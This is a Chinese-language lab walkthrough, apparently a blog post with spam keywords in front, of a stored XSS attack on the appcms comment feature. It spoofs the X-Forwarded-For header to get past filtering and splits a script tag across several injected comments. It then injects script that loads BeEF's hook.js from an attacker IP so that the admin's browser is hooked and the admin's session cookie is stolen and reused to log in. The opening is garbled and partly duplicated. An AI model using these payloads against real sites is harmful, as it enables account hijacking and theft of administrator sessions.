西安网站开发xamokj,工信部网站信息查询,广州珈瑶公司是哪一年注册的,wordpress会员支付一、环境
gethub上面自己找appcms-master
二、分析一下源码以及闯关思路
首先是有一个函数循环以及函数过滤#xff0c;我们的post会将我们所传的所有val值去进行一个循环#xff0c;之后通过htmlspecialchars这个函数进行过滤和转换所以val值不能通过单双引号闭合注入的方…一、环境
gethub上面自己找appcms-master
二、分析一下源码以及闯关思路
首先是有一个函数循环以及函数过滤我们的post会将我们所传的所有val值去进行一个循环之后通过htmlspecialchars这个函数进行过滤和转换所以val值不能通过单双引号闭合注入的方式去做 我们可以看到在getip中有三种传递方式 其中的HTTP_CLIENT_IP和HTTP_X_FORWARDED_FOR我们都可以去进行伪装我们现在伪装HTTP_X_FORWARDED_FOR这个参数
我们通过打印看一下它是如何去传的ip因为断点无法传递这里的问题我现在也没找到程序太老了 我们把打印换到引用代码的地方可以见得是正常的打印了出来且走到我们的打印函数里面了 那现在我们就要思考了。既然 HTTP_X_FORWARDED_FOR可以进行伪造的话那怎么去处理隐伪呢接下来我们抓包去看 可以看到我们的数据成功插入了 那两个都入了且拼接了 之后我们再次执行补充另外半个script/*
之后管理员点击后台评论就可以实现自动弹窗了 我们通过三次拼接就可以达到插入最后弹窗如上
script/**/alert(1)/**//script
而重要的是alert并没有偷走我们管理员的cookie现在我们需要思考的是如何偷管理员cookie我们可以使用img的方法
在这里我们使用kill里面的beff软件正常下载看了一篇文章讲解的挺细致的
【beef工具-01】神器beef的安装与简介-CSDN博客 我上面花出的这三个网站的意思很重要
Web界面管理控制台http://127.0.0.1:3000/ui/panel用于查看上钩的鱼儿以及对不同的目标进行管理操作 shellcode探针http://127.0.0.1:3000/hook.js只要有人运行该文件就会在管理控制台上线上钩。 测试网址http://127.0.0.1:3000/demos/butcher/index.html只要有人访问该网站也会在管理控制台上线上钩。
接下来我们要用的就是hook.js这个文件 我们首先创建一个demo2.html这个文件来进行测试 !DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleDocument/title
/head
body/body
scriptvar imgElement document.createElement(img);imgElement.style.display none;imgElement.src http://192.168.170.141:3000/hook.jsdocument.body.appendChild(imgElement)
/script
/html 我们可以很清楚的看到是正常访问到了 那我们现在就要考虑在刚才的情况下我们如何盗取cookie将我们刚才的HTML代码跟我们上面一样去评论区传入数据库最终如下 再传一个闭合最终 我们去管理界面下看是否访问到hook.js 经过我多次尝试刚才那种情况我们beef接收不到img好像传递不了但是确实是正常访问的
更改一下可以重新抓包也可以数据库直接更新
*/var scriptElemet document.createElement(script);scriptElemet.src http://192.168.170.141:3000/hook.js;document.body.appendChild(scriptElemet);/* 很明显我们偷到cookie了 去登录页面删掉cookie 利用cookie直接登录